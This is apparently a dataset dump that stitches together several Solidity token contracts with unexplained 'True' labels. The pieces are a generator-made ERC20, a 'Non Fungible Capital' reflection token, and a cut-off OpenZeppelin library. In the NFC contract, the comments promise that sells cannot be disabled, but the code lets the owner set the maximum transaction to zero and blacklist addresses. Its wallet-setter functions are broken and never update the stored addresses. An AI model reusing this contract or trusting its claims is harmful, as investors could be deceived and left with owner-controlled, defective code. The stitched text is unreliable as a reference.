_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-12-06
*/
/**
Non Fungible Capital: $NFC
-You buy on Ethereum, we invest in NFTs that have true utility & farm on multiple chains to return the profits to $NFC holders + NFT giveaways.
1) 10% tax is collected and distributed to holders for HODLing.
2) 10-15% farming and operations tax.
Website:
https://nfc.farm
Telegram:
https://t.me/nonfungiblecapital
Twitter:
https://twitter.com/NFC_FARM
*/
/**
* There is not a pause contract button.
* Deployer cannot disable sells.
* Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such.
* Sells cannot exceed 25%.
* Built-in whale protection: Max wallet size, max Tx amount and max amount to swap for ETH.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NonFungibleCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Non Fungible Capital";
string private constant _symbol = "NFC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public _isExcludedMaxTxAmount;
mapping(address => bool) private _isExcludedFromReflection;
address[] private _excludedFromReflection;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 1e9 * 1e9; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
uint256 private _reflectionFeeOnBuy = 10;
uint256 private _taxFeeOnBuy = 15;
uint256 private _reflectionFeeOnSell = 10;
uint256 private _taxFeeOnSell = 15;
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
address payable public _nfcAddress = payable(0xCbB1d245613DC6c3C05c1f18dfc9Ae763154D9aa); //Investment wallet
address payable public _mktgAddress = payable(0x48F92371a12573FEE2aB79F085f13Cb168a2E24D); //Marketing wallet
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool public tradingActive = false;
uint256 public _maxTxAmount = 2500 * 1e7 * 1e9; //max transaction set to 2.5%
uint256 public _maxWalletSize = 2500 * 1e7 * 1e9; //max wallet set to 2.5%
uint256 public _swapTokensAtAmount = 5000 * 1e6 * 1e9; //amount of tokens to swap for eth 0.5%
event ExcludeFromReflection(address excludedAddress);
event IncludeInReflection(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event UpdatedMktgAddress(address mktg); //Marketing wallet
event UpdatedNfcAddress(address nfc); //Investment wallet
event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee);
event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_nfcAddress] = true;
_isExcludedFromFee[_mktgAddress] = true;
excludeFromMaxTxAmount(owner(), true);
excludeFromMaxTxAmount(address(this), true);
excludeFromMaxTxAmount(address(_nfcAddress), true);
excludeFromMaxTxAmount(address(_mktgAddress), true);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function excludeFromReflection(address account) public onlyOwner {
require(!_isExcludedFromReflection[account], "Account is already excluded");
require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReflection[account] = true;
_excludedFromReflection.push(account);
}
function includeInReflection(address account) public onlyOwner {
require(_isExcludedFromReflection[account], "Account is not excluded from reflection");
for (uint256 i = 0; i < _excludedFromReflection.length; i++) {
if (_excludedFromReflection[i] == account) {
_excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1];
_tOwned[account] = 0;
_isExcludedFromReflection[account] = false;
_excludedFromReflection.pop();
break;
}
}
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingActive)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_nfcAddress.transfer(amount.div(2));
_mktgAddress.transfer(amount.div(2));
}
function manualSwap() external {
require(_msgSender() == _nfcAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _nfcAddress || _msgSender() == _mktgAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%");
require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%");
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
}
function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTxAmount(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTxAmount(address(uniswapV2Pair), true);
return true;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set max transaction
function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTxAmount[updAds] = isEx;
}
//set max wallet
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
//set wallet address
function _setNFCAddress(address nfcAddress) external onlyOwner {
require(_nfcAddress != address(0), "_nfcAddress cannot be 0");
_isExcludedFromFee[nfcAddress] = false;
nfcAddress = payable(_nfcAddress);
_isExcludedFromFee[nfcAddress] = true;
emit UpdatedNfcAddress(_nfcAddress);
}
//set wallet address
function _setMktgAddress(address mktgAddress) external onlyOwner {
require(_mktgAddress != address(0), "_mktgAddress cannot be 0");
_isExcludedFromFee[mktgAddress] = false;
mktgAddress = payable(_mktgAddress);
_isExcludedFromFee[mktgAddress] = true;
emit UpdatedMktgAddress(_mktgAddress);
}
} | True | [
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// File: openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity-2.3.0/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: openzeppelin-solidity-2.3.0/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
